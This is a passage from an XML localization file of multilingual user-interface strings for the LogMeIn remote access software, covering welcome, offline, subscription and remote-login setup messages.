<ja>はじめに</ja>
<ko>시작하기</ko>
<zh>快速入门</zh>
</msg>
<msg name="COMPACC">
<en>This computer is now accessible via LogMeIn.com.</en>
<es>Ahora se puede acceder a este ordenador mediante LogMeIn.com.</es>
<de>Sie können nun über LogMeIn.com auf diesen Computer zugreifen.</de>
<fr>Cet ordinateur est désormais accessible par LogMeIn.com.</fr>
<it>Questo computer è ora accessibile tramite LogMeIn.com.</it>
<ru>Этот компьютер теперь доступен через LogMeIn.com.</ru>
<ja>このコンピュータは LogMeIn.com 経由でアクセス可能になりました。</ja>
<zh>此计算机现在可通过 LogMeIn.com 访问。</zh>
<ko>LogMeIn.com을 통해 이 컴퓨터에 액세스할 수 있습니다.</ko>
<en-gb>This computer is now accessible via LogMeIn.com.</en-gb>
<hu>Ez a számítógép most már elérhető a LogMeIn.com-on keresztül.</hu>
<pt-br>Este computador agora está acessível via LogMeIn.com.</pt-br>
<nl>Toegang tot deze computer is nu mogelijk via LogMeIn.com.</nl>
</msg>
<msg name="COMPACCOFF">
<en>This computer is almost ready to be accessed from remote computers or mobile devices.</en>
<es>Este ordenador está casi listo para que se pueda acceder a él desde ordenadores remotos o dispositivos móviles.</es>
<de>Sie können in Kürze von Remotecomputern bzw. mobilen Geräten aus auf diesen Computer zugreifen.</de>
<fr>Cet ordinateur sera bientôt accessible à partir d'ordinateurs ou d'appareils mobiles distants.</fr>
<it>Il computer è quasi pronto per essere accessibile da computer remoti o dispositivi mobili.</it>
<ru>Этот компьютер почти готов к доступу с удаленных компьютеров или мобильных устройств.</ru>
<ja>リモート コンピュータまたはモバイル デバイスからこのコンピュータにアクセスする準備がほぼできました。</ja>
<zh>此计算机即将准备好通过远程计算机或移动设备进行访问。</zh>
<ko>원격 컴퓨터 또는 모바일 장치에서 이 컴퓨터에 액세스할 준비가 되었습니다.</ko>
<en-gb>This computer is almost ready to be accessed from remote computers or mobile devices.</en-gb>
<hu>Ez a számítógép már majdnem készen áll, hogy elérhető legyen távoli számítógépekről vagy mobileszközökről.</hu>
<pt-br>Este computador agora está quase pronto para ser acessado através de computadores remotos ou dispositivos móveis.</pt-br>
<nl>Deze computer is bijna gereed voor toegang vanaf computers op afstand of mobiele apparaten.</nl>
</msg>
<msg name="NOTICEIC">
<en>Notice the %PRODUCTNAME status icon next to the clock. Click on it to open this program the next time you need it.</en>
<es>Observe el icono de estado %PRODUCTNAME junto al reloj. Haga clic para abrir este programa la próxima vez que lo necesite.</es>
<de>Bitte beachten Sie das %PRODUCTNAME-Statussymbol neben der Uhr. Mit einem Klick auf das Symbol können Sie in Zukunft direkt auf das Programm zugreifen.</de>
<fr>Prenez note de l'icône d'état de %PRODUCTNAME à côté de l'horloge. Cliquez sur celle-ci pour ouvrir le programme en cas de besoin.</fr>
<it>Si noti l'icona di stato di %PRODUCTNAME accanto all'orologio. Fare doppio clic su questa icona per aprire il programma la prossima volta.</it>
<ru>Рядом с часами отображается значок %PRODUCTNAME. Щелкните его, чтобы открыть эту программу в следующий раз.</ru>
<ja>時計の隣に %PRODUCTNAME のステータス アイコンがあります。 次回このプログラムを開く必要があるときは、このアイコンをクリックしてください。</ja>
<zh>注意时钟旁边的 %PRODUCTNAME 状态图标。 在您下次需要此程序时单击该图标即可打开它。</zh>
<ko>시계 옆에 있는 %PRODUCTNAME 상태 아이콘을 확인하십시오. 다음에 이 프로그램을 열려면 클릭하십시오.</ko>
<en-gb>Notice the %PRODUCTNAME status icon next to the clock. Click on it to open this program the next time you need it.</en-gb>
<hu>A %PRODUCTNAME állapotikont az óra mellett találja. Legközelebb erre az ikonra kattintva is megnyithatja a programot.</hu>
<pt-br>Observe o ícone de status do %PRODUCTNAME ao lado do relógio. Clique nele para abrir esse programa na próxima vez que precisar dele.</pt-br>
<nl>Let op het %PRODUCTNAME-statuspictogram naast de klok. Hierop moet u klikken om dit programma te openen wanneer u het de volgende keer wilt gebruiken.</nl>
</msg>
<msg name="NEXTSTEPS">
<en>Next steps:</en>
<es>Siguientes pasos:</es>
<de>Nächste Schritte:</de>
<fr>Étapes suivantes :</fr>
<it>Passaggi successivi:</it>
<ru>Следующие шаги:</ru>
<ja>次のステップ:</ja>
<zh>后续步骤:</zh>
<ko>다음 단계:</ko>
<en-gb>Next steps:</en-gb>
<hu>Következő lépések:</hu>
<pt-br>Próximas etapas:</pt-br>
<nl>Volgende stappen:</nl>
</msg>
<msg name="NEXTSTEP">
<en>Next step:</en>
<es>Siguiente paso:</es>
<de>Nächster Schritt:</de>
<fr>Étape suivante :</fr>
<it>Passaggio successivo:</it>
<ru>Следующий шаг:</ru>
<ja>次のステップ:</ja>
<zh>下一步:</zh>
<ko>다음 단계:</ko>
<en-gb>Next step:</en-gb>
<hu>Következő lépés:</hu>
<pt-br>Próxima etapa:</pt-br>
<nl>Volgende stap:</nl>
</msg>
<msg name="BTN_TRYREMOTE1">
<en>Try remote access from a nearby computer</en>
<es>Intente un acceso remoto desde un ordenador cercano</es>
<de>Fernzugriff über Zweitcomputer ausprobieren</de>
<fr>Essayez l'accès à distance à partir d'un ordinateur à proximité</fr>
<it>Provare l'accesso remoto da un computer nelle vicinanze</it>
<ru>Испытайте удаленный доступ с ближайшего компьютера</ru>
<ja>近くのコンピュータからリモート アクセスしてみる</ja>
<zh>尝试通过附近的计算机进行远程访问</zh>
<ko>주변 컴퓨터에서 원격 액세스 시도</ko>
<en-gb>Try remote access from a nearby computer</en-gb>
<hu>Próbálja ki a távoli elérést egy közelben lévő számítógépről</hu>
<pt-br>Tentar acesso remoto de um computador próximo</pt-br>
<nl>Probeer toegang op afstand vanaf een computer in de buurt</nl>
</msg>
<msg name="TRYREMOTE2">
<en>(recommended)</en>
<es>(recomendado)</es>
<de>(empfohlen)</de>
<fr>(conseillé)</fr>
<it>(scelta consigliata)</it>
<ru>(рекомендуется)</ru>
<ja>(推奨)</ja>
<zh>(建议)</zh>
<ko>(권장됨)</ko>
<en-gb>(recommended)</en-gb>
<hu>(ajánlott)</hu>
<pt-br>(recomendado)</pt-br>
<nl>(aanbevolen)</nl>
</msg>
<msg name="TRYREMOTE3">
<en>See how %PRODUCTNAME remote access looks and feels in action.</en>
<es>Vea el aspecto del acceso remoto de %PRODUCTNAME y qué sensación da cuando está en acción.</es>
<de>Finden Sie heraus, wie der Fernzugriff mit %PRODUCTNAME in der Realität funktioniert.</de>
<fr>Découvrez le fonctionnement de %PRODUCTNAME en action.</fr>
<it>Scopri l'aspetto e il funzionamento dell'accesso remoto con %PRODUCTNAME.</it>
<ru>Проверьте, как удаленный доступ %PRODUCTNAME выглядит и работает в действии.</ru>
<ja>%PRODUCTNAME リモート アクセスの外観と操作性を実感してください。</ja>
<zh>查看 %PRODUCTNAME 远程访问起作用时的外观。</zh>
<ko>%PRODUCTNAME 원격 액세스가 동작 중에 어떻게 나타나는지 확인하십시오.</ko>
<en-gb>See how %PRODUCTNAME remote access looks and feels in action.</en-gb>
<hu>Ismerje meg a %PRODUCTNAME távoli elérését működés közben.</hu>
<pt-br>Veja como funciona o acesso remoto do %PRODUCTNAME.</pt-br>
<nl>Bekijk hoe de toegang op afstand van %PRODUCTNAME eruit ziet en hoe het ervaart om het te gebruiken.</nl>
</msg>
<msg name="OR">
<en>or</en>
<es>o</es>
<de>oder</de>
<fr>ou</fr>
<it>oppure</it>
<ru>или</ru>
<ja>または</ja>
<zh>或者</zh>
<ko>또는</ko>
<en-gb>or</en-gb>
<hu>vagy</hu>
<pt-br>ou</pt-br>
<nl>of</nl>
</msg>
<msg name="BTN_TRYLOCAL1">
<en>Try features locally</en>
<es>Pruebe las características localmente</es>
<de>Funktionen am lokalen Rechner ausprobieren</de>
<fr>Essayez les fonctionnalités en local</fr>
<it>Prova le funzioni localmente</it>
<ru>Испытайте функции локально</ru>
<ja>機能をローカルで試す</ja>
<zh>在本地试用各项功能</zh>
<ko>로컬에서 기능을 시도하십시오</ko>
<en-gb>Try features locally</en-gb>
<hu>Próbálja ki a funkciókat helyben</hu>
<pt-br>Teste os recursos no local</pt-br>
<nl>Probeer de functies lokaal</nl>
</msg>
<msg name="TRYLOCAL2">
<en>Try Desktop Sharing or File Sharing and explore Options. These features don’t require a second computer.</en>
<es>Pruebe el Escritorio compartido o la Transferencia de archivos y explore las opciones. Para estas características no se necesita un segundo ordenador.</es>
<de>Testen Sie die Desktop- oder Dateifreigabe und machen Sie sich mit den Optionen vertraut. Für diese Funktionen benötigen Sie keinen zweiten Computer.</de>
<fr>Essayez le partage de bureau et de fichiers et explorez les options. Ces fonctions n'imposent pas un deuxième ordinateur.</fr>
<it>Prova la Condivisione del desktop o la Condivisione dei file ed esplora le Opzioni. Queste funzioni non richiedono un secondo computer.</it>
<ru>Попробуйте функции совместного использования рабочего стола или общего доступа к файлам и изучите опции. Для использования этих функций не требуется второй компьютер.</ru>
<ja>デスクトップ共有やファイル共有を試し、オプションを選択してみてください。 これらの機能には、別のコンピュータは必要ありません。</ja>
<zh>试用桌面共享或文件共享并浏览选项。 试用这些功能不需要第二台计算机。</zh>
<ko>데스크톱 공유 또는 파일 공유를 시도하여 옵션을 탐색하십시오. 이 기능은 별도의 컴퓨터가 필요하지 않습니다.</ko>
<en-gb>Try Desktop Sharing or File Sharing and explore Options. These features don’t require a second computer.</en-gb>
<hu>Próbálja ki a Képernyőmegosztás vagy a Fájlmegosztás funkciót, és ismerkedjen meg a beállításokkal. Ezekhez a funkciókhoz nincs szükség második számítógépre.</hu>
<pt-br>Teste o compartilhamento da área de trabalho ou o compartilhamento de arquivos e explore as opções. Esses recursos não exigem um segundo computador.</pt-br>
<nl>Probeer Delen van bureaublad of Bestanden delen en verken de Opties. Voor deze functies is geen tweede computer nodig.</nl>
</msg>
<msg name="DONTSHOWWELCOME">
<en>Don't show this welcome screen again</en>
<es>No volver a mostrar esta pantalla de bienvenida</es>
<de>Willkommensseite nicht mehr anzeigen</de>
<fr>Ne plus afficher cet écran de bienvenue</fr>
<it>Non mostrare questa schermata di benvenuto la prossima volta</it>
<ru>Больше не показывать это окно приветствия</ru>
<ja>この [ようこそ] 画面を再び表示しない</ja>
<zh>不再显示此欢迎屏幕</zh>
<ko>이 시작 화면을 다시 표시하지 않음</ko>
<en-gb>Don't show this welcome screen again</en-gb>
<hu>Üdvözlő képernyő elrejtése a későbbiekben</hu>
<pt-br>Não mostrar novamente esta tela de boas-vindas</pt-br>
<nl>Dit welkomstscherm niet meer weergeven</nl>
</msg>
<msg name="ALLSET">
<en>All set?</en>
<es>¿Todo listo?</es>
<de>Sind Sie bereit?</de>
<fr>Prêt ?</fr>
<it>Tutto impostato?</it>
<ru>Все установлено?</ru>
<ja>すべて完了ですか?</ja>
<zh>全部设置?</zh>
<ko>모두 설정하시겠습니까?</ko>
<en-gb>All set?</en-gb>
<hu>Minden beállítás kész?</hu>
<pt-br>Tudo ajustado?</pt-br>
<nl>Alles ingesteld?</nl>
</msg>
<msg name="YOUCANREENABLE">
<en>You can always re-enable it under Options.</en>
<es>Es posible volver a habilitarla en Opciones.</es>
<de>Sie können sie jederzeit in den Optionen wieder aktivieren.</de>
<fr>Vous pouvez toujours le réactiver sous Options.</fr>
<it>Sarà possibile riattivarla dal menu Opzioni.</it>
<ru>Его всегда можно включить в параметрах.</ru>
<ja>[オプション] を使っていつでもこの画面の表示を復旧できます。</ja>
<zh>您随时可在“选项”下重新启用它。</zh>
<ko>옵션에서 언제든지 다시 설정할 수 있습니다.</ko>
<en-gb>You can always re-enable it under Options.</en-gb>
<hu>A Beállításokban ez bármikor ismét engedélyezhető.</hu>
<pt-br>Sempre é possível habilitá-la novamente em Opções.</pt-br>
<nl>U kunt het altijd opnieuw activeren onder Opties.</nl>
</msg>
<msg name="LMIOFF1">
<en>This computer seems to be offline.</en>
<es>Este ordenador parece estar desconectado.</es>
<de>Dieser Computer ist anscheinend offline.</de>
<fr>Cet ordinateur semble être hors ligne.</fr>
<it>Il computer sembra non essere in linea.</it>
<ru>Вероятно, этот компьютер работает автономно.</ru>
<ja>このコンピュータはオフラインになっています。</ja>
<zh>这台计算机似乎已脱机。</zh>
<ko>이 컴퓨터가 오프라인인 것 같습니다.</ko>
<en-gb>This computer seems to be offline.</en-gb>
<hu>Úgy tűnik, hogy ez a számítógép kapcsolaton kívüli.</hu>
<pt-br>Este computador parece estar offline.</pt-br>
<nl>Deze computer lijkt offline te zijn.</nl>
</msg>
<msg name="LMIOFF2">
<en>Please check your network connections before you proceed.</en>
<es>Compruebe sus conexiones de red antes de proceder.</es>
<de>Bitte überprüfen Sie vor dem Fortfahren Ihre Netzwerkverbindungen.</de>
<fr>Vérifiez vos connexions réseau avant de continuer.</fr>
<it>Controllare le connessioni di rete prima di procedere.</it>
<ru>Проверьте сетевые подключения перед продолжением.</ru>
<ja>ネットワーク接続を確認してから続行してください。</ja>
<zh>请检查您的网络连接,然后继续。</zh>
<ko>계속하기 전에 네트워크 연결을 확인하십시오.</ko>
<en-gb>Please check your network connections before you proceed.</en-gb>
<hu>A folytatás előtt ellenőrizze hálózati kapcsolatát.</hu>
<pt-br>Antes de prosseguir, verifique suas conexões de rede.</pt-br>
<nl>Controleer uw netwerkverbindingen voordat u verder gaat.</nl>
</msg>
<msg name="LMIOFF3">
<en>Once %PRODUCTNAME detects an available network with an Internet connection, your choices to discover its features will be displayed here automatically.</en>
<es>Una vez que %PRODUCTNAME detecta una red disponible con conexión a Internet, sus opciones de descubrir sus características se mostrarán aquí automáticamente.</es>
<de>Sobald %PRODUCTNAME ein verfügbares Netzwerk mit Internetverbindung gefunden hat, wird automatisch hier angezeigt, welche Funktionen Sie nun ausprobieren können.</de>
<fr>Une fois que %PRODUCTNAME détecte un réseau disponible avec connexion Internet, les options pour découvrir ses fonctionnalités s'affichent ici automatiquement.</fr>
<it>Non appena %PRODUCTNAME avrà rilevato una rete disponibile con connessione a Internet, qui verranno visualizzate automaticamente le scelte per scoprirne le funzioni.</it>
<ru>Когда %PRODUCTNAME обнаружит доступную сеть с подключением к Интернету, доступные для изучения функции программы отобразятся здесь автоматически.</ru>
<ja>インターネットに接続可能なネットワークが %PRODUCTNAME によって検出されると、製品の機能を体感するための選択肢がここに自動的に表示されます。</ja>
<zh>如果 %PRODUCTNAME 检测到连接到 Internet 的可用网络,您要查看其功能的选择将在此处自动显示。</zh>
<ko>%PRODUCTNAME이(가) 인터넷 연결을 통해 사용 가능한 네트워크를 탐지하면, 해당 네트워크에서 사용할 수 있는 기능 선택사항이 여기에 자동으로 표시됩니다.</ko>
<en-gb>Once %PRODUCTNAME detects an available network with an Internet connection, your choices to discover its features will be displayed here automatically.</en-gb>
<hu>Miután a %PRODUCTNAME egy internetkapcsolattal rendelkező, elérhető hálózatot észlel, a funkciói megismeréséhez szükséges választási lehetőségek automatikusan megjelennek itt.</hu>
<pt-br>Depois que o %PRODUCTNAME detectar uma rede disponível com conexão de Internet, suas opções para descobrir os recursos dele serão exibidas aqui automaticamente.</pt-br>
<nl>Zodra %PRODUCTNAME een beschikbaar netwerk detecteert met een Internet-verbinding, zullen uw mogelijkheden om de functies daarvan te verkennen automatisch hier worden weergegeven.</nl>
</msg>
<msg name="LMIDIS1">
<en>%PRODUCTNAME has been turned off.</en>
<es>%PRODUCTNAME se ha apagado.</es>
<de>%PRODUCTNAME wurde beendet.</de>
<fr>%PRODUCTNAME a été désactivé.</fr>
<it>%PRODUCTNAME è stato disattivato.</it>
<ru>Программа %PRODUCTNAME отключена.</ru>
<ja>%PRODUCTNAME がオフになっています。</ja>
<zh>%PRODUCTNAME 已关闭。</zh>
<ko>%PRODUCTNAME이(가) 꺼졌습니다.</ko>
<en-gb>%PRODUCTNAME has been turned off.</en-gb>
<hu>A %PRODUCTNAME kikapcsolásra került.</hu>
<pt-br>O %PRODUCTNAME foi desligado.</pt-br>
<nl>%PRODUCTNAME is uitgeschakeld.</nl>
</msg>
<msg name="LMIDIS2">
<en>Please turn it on before you proceed.</en>
<es>Enciéndalo antes de proceder.</es>
<de>Bitte starten Sie die Software, bevor Sie fortfahren.</de>
<fr>Activez-le avant de continuer.</fr>
<it>Attivarlo per procedere.</it>
<ru>Включите ее перед продолжением.</ru>
<ja>オンにしてから続行してください。</ja>
<zh>请将其打开,然后继续。</zh>
<ko>계속하기 전에 켜십시오.</ko>
<en-gb>Please turn it on before you proceed.</en-gb>
<hu>A folytatás előtt kapcsolja be.</hu>
<pt-br>Antes de prosseguir, ligue-o.</pt-br>
<nl>Activeer het voordat u verder gaat.</nl>
</msg>
<msg name="LMIDIS3">
<en>Once %PRODUCTNAME is up and running, your choices to discover its features will be displayed here automatically.</en>
<es>Una vez que %PRODUCTNAME esté en funcionamiento, sus opciones para descubrir sus características se mostrarán aquí automáticamente.</es>
<de>Sobald %PRODUCTNAME läuft, wird automatisch hier angezeigt, welche Funktionen Sie nun ausprobieren können.</de>
<fr>Lorsque %PRODUCTNAME est activé, les options pour découvrir ses fonctionnalités s'affichent ici automatiquement.</fr>
<it>Non appena %PRODUCTNAME sarà attivo, qui verranno visualizzate automaticamente le scelte per scoprirne le funzioni.</it>
<ru>После установки и запуска %PRODUCTNAME доступные для изучения функции программы отобразятся здесь автоматически.</ru>
<ja>%PRODUCTNAME が実行されると、製品の機能を体感するための選択肢がここに自動的に表示されます。</ja>
<zh>如果 %PRODUCTNAME 开启并在运行中,您要查看其功能的选择将在此处自动显示。</zh>
<ko>%PRODUCTNAME이(가) 작동되어 실행되면, 사용할 수 있는 기능 선택사항이 여기에 자동으로 표시됩니다.</ko>
<en-gb>Once %PRODUCTNAME is up and running, your choices to discover its features will be displayed here automatically.</en-gb>
<hu>Miután a %PRODUCTNAME elindult és működik, a funkciói megismeréséhez szükséges választási lehetőségek automatikusan megjelennek itt.</hu>
<pt-br>Depois que o %PRODUCTNAME estiver em pleno funcionamento, suas opções para descobrir os recursos dele serão exibidas aqui automaticamente.</pt-br>
<nl>Zodra %PRODUCTNAME actief is, zullen uw mogelijkheden om de functies daarvan te verkennen automatisch hier worden weergegeven.</nl>
</msg>
<msg name="LMINOSR1">
<en>Once this computer has been associated with a %PRODUCTNAME account and assigned a subscription to it, your choices to discover its features will be displayed here automatically.</en>
<es>Una vez que este ordenador haya sido asociado con una cuenta de %PRODUCTNAME y se le asigne una suscripción, sus opciones para descubrir sus características se mostrarán aquí automáticamente.</es>
<de>Sobald dieser Computer mit einem %PRODUCTNAME-Konto und einem Abo verknüpft wurde, wird automatisch hier angezeigt, welche Funktionen Sie nun ausprobieren können.</de>
<fr>Une fois que cet ordinateur est associé à un compte %PRODUCTNAME et qu'un abonnement lui est affecté, les options pour découvrir ses fonctionnalités s'affichent ici automatiquement.</fr>
<it>Non appena il computer sarà stato associato ad un account %PRODUCTNAME e vi sarà stata assegnata una sottoscrizione, qui verranno visualizzate automaticamente le scelte per scoprirne le funzioni.</it>
<ru>После того, как этот компьютер будет связан с учетной записью %PRODUCTNAME и ей будет назначена подписка, доступные для изучения функции программы отобразятся здесь автоматически.</ru>
<ja>このコンピュータが %PRODUCTNAME アカウントに関連付けられ、利用期間が割り当てられると、製品の機能を体感するための選択肢がここに自動的に表示されます。</ja>
<zh>如果这台计算机已经与 %PRODUCTNAME 帐户关联并已为该帐户指定订阅,您要查看其功能的选择将在此处自动显示。</zh>
<ko>이 컴퓨터가 %PRODUCTNAME 계정에 가입되어 가입이 할당되면, 사용할 수 있는 기능 선택사항이 여기에 자동으로 표시됩니다.</ko>
<en-gb>Once this computer has been associated with a %PRODUCTNAME account and assigned a subscription to it, your choices to discover its features will be displayed here automatically.</en-gb>
<hu>Miután ez a számítógép társítva lett egy %PRODUCTNAME fiókkal, és hozzárendelt egy előfizetést, a funkciói megismeréséhez szükséges választási lehetőségek automatikusan megjelennek itt.</hu>
<pt-br>Depois que este computador estiver associado a uma conta do %PRODUCTNAME e tiver atribuído uma assinatura a ele, suas opções para descobrir os recursos dele serão exibidas aqui automaticamente.</pt-br>
<nl>Zodra deze computer is gekoppeld aan een %PRODUCTNAME-account en van een abonnement is voorzien, zullen uw mogelijkheden om de functies daarvan te verkennen automatisch hier worden weergegeven.</nl>
</msg>
<msg name="BTN_TURNITON">
<en>Turn on now</en>
<es>Enciéndalo ahora</es>
<de>Jetzt starten</de>
<fr>Activer maintenant</fr>
<it>Attiva ora</it>
<ru>Включить сейчас</ru>
<ja>今すぐオンにする</ja>
<zh>立即打开</zh>
<ko>지금 켜기</ko>
<en-gb>Turn on now</en-gb>
<hu>Kapcsolja be most</hu>
<pt-br>Ligar agora</pt-br>
<nl>Activeer het nu</nl>
</msg>
<msg name="LMI_NO_SUBSCRIPT">
<en>This computer is not associated with a %PRODUCTNAME account. Please click the button below to run a wizard to fix this problem before you proceed.</en>
<es>Este ordenador no está asociado con una cuenta de %PRODUCTNAME. Haga clic en el botón a continuación para ejecutar un asistente para solucionar este problema antes de proceder.</es>
<de>Dieser Computer ist noch nicht mit einem %PRODUCTNAME-Konto verknüpft. Bitte klicken Sie vor dem Fortfahren auf die Schaltfläche unten, um einen Assistenten auszuführen und dieses Problem zu beheben.</de>
<fr>Cet ordinateur n'est pas associé à un compte %PRODUCTNAME. Cliquez sur le bouton ci-dessous pour lancer un Assistant et corriger ce problème avant de continuer.</fr>
<it>Il computer non è associato ad un account %PRODUCTNAME. Per procedere, fare clic sul pulsante sotto per eseguire una procedura guidata e risolvere il problema.</it>
<ru>Этот компьютер не связан с учетной записью %PRODUCTNAME. Нажмите кнопку ниже для запуска мастера, чтобы устранить проблему перед продолжением.</ru>
<ja>このコンピュータは %PRODUCTNAME アカウントに関連付けられていません。 下のボタンをクリックしてウィザードを実行し、この問題を解決してから続行してください。</ja>
<zh>这台计算机尚未与 %PRODUCTNAME 帐户关联。 请单击下面的按钮运行向导以修复此问题,然后继续。</zh>
<ko>이 컴퓨터는 %PRODUCTNAME 계정에 가입되지 않았습니다. 계속하기 전에 마법사를 실행하여 이 문제를 수정하려면 아래 버튼을 클릭하십시오.</ko>
<en-gb>This computer is not associated with a %PRODUCTNAME account. Please click the button below to run a wizard to fix this problem before you proceed.</en-gb>
<hu>Ez a számítógép nincs társítva %PRODUCTNAME fiókkal. A probléma megoldásához a folytatás előtt indítsa el a varázslót az alábbi gombra való kattintással.</hu>
<pt-br>Este computador não está associado a uma conta do %PRODUCTNAME. Para executar um assistente e resolver esse problema antes de prosseguir, clique no botão a seguir.</pt-br>
<nl>Deze computer is niet gekoppeld aan een %PRODUCTNAME-account. Klik, voordat u verdergaat, op de knop hieronder om een wizard te activeren waarmee dit probleem wordt opgelost.</nl>
</msg>
<msg name="FOLLOWINST">
<en>Follow the instructions if you have a second computer within easy reach.</en>
<es>Siga las instrucciones si tiene un segundo ordenador a mano.</es>
<de>Folgen Sie den Anweisungen, wenn es in Ihrer Nähe einen zweiten Computer gibt, auf den Sie leicht zugreifen können.</de>
<fr>Suivez les instructions si vous disposez d'un deuxième ordinateur à proximité.</fr>
<it>Seguire le istruzioni se si dispone di un secondo computer a portata di mano.</it>
<ru>Выполните инструкции при наличии второго компьютера рядом.</ru>
<ja>別のコンピュータがすぐ近くにある場合は、手順に従ってください。</ja>
<zh>如果您旁边有顺手的另一台计算机,请按照说明操作。</zh>
<ko>가까운 곳에 다른 컴퓨터가 있을 경우 지침을 따르십시오.</ko>
<en-gb>Follow the instructions if you have a second computer within easy reach.</en-gb>
<hu>Ha van egy másik számítógép a közelében, kövesse az utasításokat.</hu>
<pt-br>Siga as instruções se você tiver um segundo computador de fácil alcance.</pt-br>
<nl>Volg de instructies wanneer u een tweede computer binnen handbereik hebt.</nl>
</msg>
<msg name="STEP1">
<en>On the other computer, visit "www.LogMeIn.com"</en>
<es>En el otro ordenador, visite "www.LogMeIn.com"</es>
<de>Gehen Sie auf dem anderen Computer zu "www.LogMeIn.com"</de>
<fr>Sur l'ordinateur, consultez "www.LogMeIn.com"</fr>
<it>Con l'altro computer, vistare "www.LogMeIn.com"</it>
<ru>На другом компьютере откройте веб-сайт "www.LogMeIn.com"</ru>
<ja>別のコンピュータで、"www.LogMeIn.com" にアクセスします。</ja>
<zh>在另一台计算机上,访问"www.LogMeIn.com"</zh>
<ko>다른 컴퓨터에서  "www.LogMeIn.com" 방문하십시오.</ko>
<en-gb>On the other computer, visit "www.LogMeIn.com"</en-gb>
<hu>A másik számítógépen keresse fel a következő helyet: "www.LogMeIn.com"</hu>
<pt-br>No outro computador, visite "www.LogMeIn.com"</pt-br>
<nl>Op de andere computer gaat u naar "www.LogMeIn.com"</nl>
</msg>
<msg name="STEP2">
<en>Log in to your account with the email $1 and your password.</en>
<es>Inicie sesión en su cuenta con el correo electrónico $1 y su contraseña.</es>
<de>Melden Sie sich mit der E-Mail-Adresse $1 und Ihrem Passwort bei Ihrem Konto an.</de>
<fr>Connectez-vous à votre compte avec l'email $1 et votre mot de passe.</fr>
<it>Accedere al proprio account con l'e-mail $1 e la propria password.</it>
<ru>Войдите в свою учетную запись, введя адрес электронной почты $1 и свой пароль.</ru>
<ja>メール アドレス $1 とパスワードを使ってアカウントにログインします。</ja>
<zh>利用电子邮件 $1 和您的密码登录您的帐户。</zh>
<ko>$1 전자 메일 및 암호를 사용하여 계정에 로그인하십시오.</ko>
<en-gb>Log in to your account with the email $1 and your password.</en-gb>
<hu>Jelentkezzen be a fiókjába $1 e-mail címével és jelszavával.</hu>
<pt-br>Faça login na sua conta com o email $1 e sua senha.</pt-br>
<nl>Meld u aan bij uw account met e-mailadres $1 en uw wachtwoord.</nl>
</msg>
<msg name="LINK_FORGOTPWD">
<en>Forgot your account password?</en>
<es>¿Ha olvidado la contraseña de su cuenta?</es>
<de>Konto-Passwort vergessen?</de>
<fr>Vous avez oublié le mot de passe de votre compte ?</fr>
<it>Dimenticata la password dell'account?</it>
<ru>Забыли пароль своей учетной записи?</ru>
<ja>アカウントのパスワードをお忘れですか?</ja>
<zh>是否忘记您的帐户密码?</zh>
<ko>계정 암호를 잊어버렸습니까?</ko>
<en-gb>Forgot your account password?</en-gb>
<hu>Elfelejtette a fiókhoz rendelt jelszavát?</hu>
<pt-br>Esqueceu a senha da sua conta?</pt-br>
<nl>Het wachtwoord van uw account vergeten?</nl>
</msg>
<msg name="STEP3">
<en>On the Home page, click the name of this computer.</en>
<es>En la página Inicio, haga clic en el nombre de este ordenador.</es>
<de>Klicken Sie auf der Startseite auf den Namen dieses Computers.</de>
<fr>Sur la page d'accueil, cliquez sur le nom de cet ordinateur.</fr>
<it>Nella pagina Home, fare clic sul nome di questo computer.</it>
<ru>На главной странице нажмите название компьютера.</ru>
<ja>ホーム画面で、このコンピュータの名前をクリックします。</ja>
<zh>在主页中,单击这台计算机的名称。</zh>
<ko>홈 페이지에서 이 컴퓨터의 이름을 클릭하십시오.</ko>
<en-gb>On the Home page, click the name of this computer.</en-gb>
<hu>A Kezdőlap oldalon kattintson a számítógép nevére.</hu>
<pt-br>Na Página inicial, clique no nome desse computador.</pt-br>
<nl>Op de startpagina klikt u op de naam van deze computer.</nl>
</msg>
<msg name="STEP4">
<en>Follow any on-screen instructions. If prompted, enter the access code you defined during installation.</en>
<es>Siga todas las instrucciones que aparezcan en pantalla. Si el sistema le pregunta, introduzca el código de acceso que ha definido durante la instalación.</es>
<de>Folgen Sie den Anweisungen auf dem Bildschirm. Wenn Sie dazu aufgefordert werden, geben Sie bitte den während der Installation festgelegten Zugriffscode ein.</de>
<fr>Suivez les instructions à l'écran. Si vous y êtes invité, entrez le code d'accès que vous avez défini lors de l'installation.</fr>
<it>Seguire le istruzioni fornite. Se richiesto, immettere il codice di accesso definito durante l'installazione.</it>
<ru>Выполните инструкции, отображающиеся на экране. При запросе введите код доступа, установленный вами во время установки.</ru>
<ja>画面に表示される手順に従ってください。 アクセス コードの入力を求められたら、インストール時に定義したアクセス コードを入力します。</ja>
<zh>按照屏幕上的所有说明操作。 在出现提示时,输入您在安装期间定义的访问代码。</zh>
<ko>화면상의 지침을 따르십시오. 메시지가 나타나면, 설치할 때 정의한 액세스 코드를 입력하십시오.</ko>
<en-gb>Follow any on-screen instructions. If prompted, enter the access code you defined during installation.</en-gb>
<hu>Kövesse a képernyőn megjelenő utasításokat. Ha felszólítást kap rá, írja be a telepítés során Ön által megadott hozzáférési kódot.</hu>
<pt-br>Siga as instruções na tela. Se solicitado, forneça o código de acesso definido durante a instalação.</pt-br>
<nl>Volg de instructies op het scherm. Wanneer daarnaar gevraagd wordt, voert u de toegangscode in die u tijdens de installatie hebt opgegeven.</nl>
</msg>
<msg name="STEP4_2">
<en>Follow any on-screen instructions. If prompted, enter your user name and password just as when logging in locally.</en>
<es>Siga todas las instrucciones que aparezcan en pantalla. Si el sistema le pregunta, escriba su nombre de usuario y su contraseña, como cuando inicia sesión localmente.</es>
<de>Folgen Sie den Anweisungen auf dem Bildschirm. Wenn Sie dazu aufgefordert werden, geben Sie bitte so wie bei der Anmeldung auf dem lokalen Rechner Ihren Benutzernamen und Ihr Kennwort ein.</de>
<fr>Suivez les instructions à l'écran. Le cas échéant, entrez vos identifiants comme lorsque vous ouvrez une session en local.</fr>
<it>Seguire le istruzioni fornite. Se richiesto, immettere il nome utente e la password come se si effettuasse l'accesso localmente.</it>
<ru>Выполните инструкции, отображающиеся на экране. При запросе введите имя пользователя и пароль как при локальном входе в систему.</ru>
<ja>画面に表示される手順に従ってください。 ユーザ名とパスワードの入力を求められたら、ローカルでログインするときと同じように ユーザ名とパスワードを入力します。</ja>
<zh>按照屏幕上的所有说明操作。 出现提示时,输入您在本地登录时使用的用户名和密码。</zh>
<ko>화면상의 지침을 따르십시오. 메시지가 나타나면, 로컬에서 로그인할 때처럼 사용자 이름 및 암호를 입력하십시오.</ko>
<en-gb>Follow any on-screen instructions. If prompted, enter your user name and password just as when logging in locally.</en-gb>
